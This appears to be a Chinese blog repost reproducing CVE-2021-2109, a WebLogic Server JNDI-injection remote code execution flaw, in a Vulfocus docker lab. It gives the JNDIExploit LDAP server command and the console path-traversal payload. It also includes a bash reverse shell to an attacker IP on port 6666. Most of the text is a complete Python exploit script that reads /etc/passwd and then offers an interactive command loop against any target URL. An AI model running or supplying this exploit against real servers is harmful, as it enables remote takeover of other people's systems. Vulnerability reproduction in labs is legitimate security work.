复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)

2023-11-28 00:59

本文主要是介绍复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、漏洞介绍

2021年1月20日,Oracle官方发布了漏洞补丁,修了包括 CVE-2021-2109 Weblogic Server远程代码执行漏洞在内的多个高危严重漏洞。CVE-2021-2109 中,攻击者可构造恶意请求,造成JNDI注入,执行任意代码,从而控制服务器。


二、影响版本

  1. WebLogic 3.6.0.0
  2. WebLogic 1.3.0.0
  3. WebLogic 2.1.3.0
  4. WebLogic 2.1.4.0

漏洞判别方式http://x.x.x.x:7001/console/css/%252e%252e%252f/consolejndi.portal

三、环境搭建

Vulfocus 靶场环境

目前 Vulfocus 已经集成多个 Weblogic 环境,可通过以下链接启动环境测试:

vulfocu

也可通过以下命令拉取本地环境运行:

docker pull vulfocus/weblogic-cve_2021_2109:latest
docker run -d -p 49163:7001 -p 49164:7002 -p 49165:5556 vulfocus/weblogic-cve_2021_2109:latestt

最后访问x.x.x.x:7001/console,如下说明环境搭建成功 :


 四、漏洞复现

复现方式一——命令执行

1.下载LDAP工具,地址:JNDIExploit-v1.13-网络攻防文档类资源-CSDN下载

注:运行ldap需要java1.8环境,执行java -version查看jdk版本

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 攻击机的ip

2. 抓包,payload后面加入poc,然后再在请求包头部里面加入cmd:id(命令),如下图所示:

poc如下:

_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://x.x.x;x:1389/Basic/WeblogicEcho;AdminServer%22)

复现成功!

 复现方式二——反弹shell值

1. 将上面请求头中cmd字段的值改为反弹shell的语句,进行编码,网址:java.lang.Runtime.exec() Payload Workarounds - @Jackson_T

bash -i >& /dev/tcp/xx.xx.xx.xx/6666 0>&1 

 2.攻击机开始监听

 3.将上面抓到的包cmd字段的值改为反弹shell的语句,进行发包

复现成功!


五、POC漏洞检测——(前提条件跳板机必须运行运行ldap环境才行)

import requests
import sys
import re
requests.packages.urllib3.disable_warnings()
from requests.packages.urllib3.exceptions import InsecureRequestWarningdef title():print('+------------------------------------------')print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')print('+  \033[34mVersion: Weblogic 多个版本                                           \033[0m')print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')print('+  \033[36mLDAP        >>> ldap://xxx.xxx.xxx;xxx:1389                         \033[0m')print('+------------------------------------------')def POC_1(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)if "root:" in response.text:print("\033[32m[o] 目标{}存在漏洞 \033[0m".format(target_url))print("\033[32m[o] 响应为:\n{} \033[0m".format(response.text))else:print("\033[31m[x] 命令执行失败 \033[0m")sys.exit(0)except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)def POC_2(target_url, ldap_url, cmd):vuln_url = target_url + "/console/css/%252e%252e/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22{}/Basic/WeblogicEcho;AdminServer%22)".format(ldap_url)print('\033[36m[o] 正在请求: {}'.format(vuln_url))headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36","cmd": cmd}try:response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)print("\033[32m[o] 响应为:\n{} \033[0m".format(response))except Exception as e:print("\033[31m[x] 请检查参数和Ldap服务是否正确 \033[0m", e)if __name__ == '__main__':title()target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))ldap_url = str(input("\033[35mLdap >>> \033[0m"))POC_1(target_url, ldap_url, cmd="cat /etc/passwd")while True:cmd = input("\033[35mCmd >>> \033[0m")if cmd == "exit":sys.exit(0)else:POC_2(target_url, ldap_url, cmd)

输出结果:

 复现成功!

这篇关于复现CVE-2021-2109 (Weblogic Server远程代码执行漏洞)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/428792

相关文章

Ubuntu中远程连接Mysql数据库的详细图文教程

《Ubuntu中远程连接Mysql数据库的详细图文教程》Ubuntu是一个以桌面应用为主的Linux发行版操作系统,这篇文章主要为大家详细介绍了Ubuntu中远程连接Mysql数据库的详细图文教程,有... 目录1、版本2、检查有没有mysql2.1 查询是否安装了Mysql包2.2 查看Mysql版本2.

mysql出现ERROR 2003 (HY000): Can‘t connect to MySQL server on ‘localhost‘ (10061)的解决方法

《mysql出现ERROR2003(HY000):Can‘tconnecttoMySQLserveron‘localhost‘(10061)的解决方法》本文主要介绍了mysql出现... 目录前言:第一步:第二步:第三步:总结:前言:当你想通过命令窗口想打开mysql时候发现提http://www.cpp

SQL Server清除日志文件ERRORLOG和删除tempdb.mdf

《SQLServer清除日志文件ERRORLOG和删除tempdb.mdf》数据库再使用一段时间后,日志文件会增大,特别是在磁盘容量不足的情况下,更是需要缩减,以下为缩减方法:如果可以停止SQLSe... 目录缩减 ERRORLOG 文件(停止服务后)停止 SQL Server 服务:找到错误日志文件:删除

Windows Server服务器上配置FileZilla后,FTP连接不上?

《WindowsServer服务器上配置FileZilla后,FTP连接不上?》WindowsServer服务器上配置FileZilla后,FTP连接错误和操作超时的问题,应该如何解决?首先,通过... 目录在Windohttp://www.chinasem.cnws防火墙开启的情况下,遇到的错误如下:无法与

一文详解SQL Server如何跟踪自动统计信息更新

《一文详解SQLServer如何跟踪自动统计信息更新》SQLServer数据库中,我们都清楚统计信息对于优化器来说非常重要,所以本文就来和大家简单聊一聊SQLServer如何跟踪自动统计信息更新吧... SQL Server数据库中,我们都清楚统计信息对于优化器来说非常重要。一般情况下,我们会开启"自动更新

Java进阶学习之如何开启远程调式

《Java进阶学习之如何开启远程调式》Java开发中的远程调试是一项至关重要的技能,特别是在处理生产环境的问题或者协作开发时,:本文主要介绍Java进阶学习之如何开启远程调式的相关资料,需要的朋友... 目录概述Java远程调试的开启与底层原理开启Java远程调试底层原理JVM参数总结&nbsMbKKXJx

JAVA虚拟机中 -D, -X, -XX ,-server参数使用

《JAVA虚拟机中-D,-X,-XX,-server参数使用》本文主要介绍了JAVA虚拟机中-D,-X,-XX,-server参数使用,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有... 目录一、-D参数二、-X参数三、-XX参数总结:在Java开发过程中,对Java虚拟机(JVM)的启动参数进

Python结合Flask框架构建一个简易的远程控制系统

《Python结合Flask框架构建一个简易的远程控制系统》这篇文章主要为大家详细介绍了如何使用Python与Flask框架构建一个简易的远程控制系统,能够远程执行操作命令(如关机、重启、锁屏等),还... 目录1.概述2.功能使用系统命令执行实时屏幕监控3. BUG修复过程1. Authorization

Windows server服务器使用blat命令行发送邮件

《Windowsserver服务器使用blat命令行发送邮件》在linux平台的命令行下可以使用mail命令来发送邮件,windows平台没有内置的命令,但可以使用开源的blat,其官方主页为ht... 目录下载blatBAT命令行示例备注总结在linux平台的命令行下可以使用mail命令来发送邮件,Win

pycharm远程连接服务器运行pytorch的过程详解

《pycharm远程连接服务器运行pytorch的过程详解》:本文主要介绍在Linux环境下使用Anaconda管理不同版本的Python环境,并通过PyCharm远程连接服务器来运行PyTorc... 目录linux部署pytorch背景介绍Anaconda安装Linux安装pytorch虚拟环境安装cu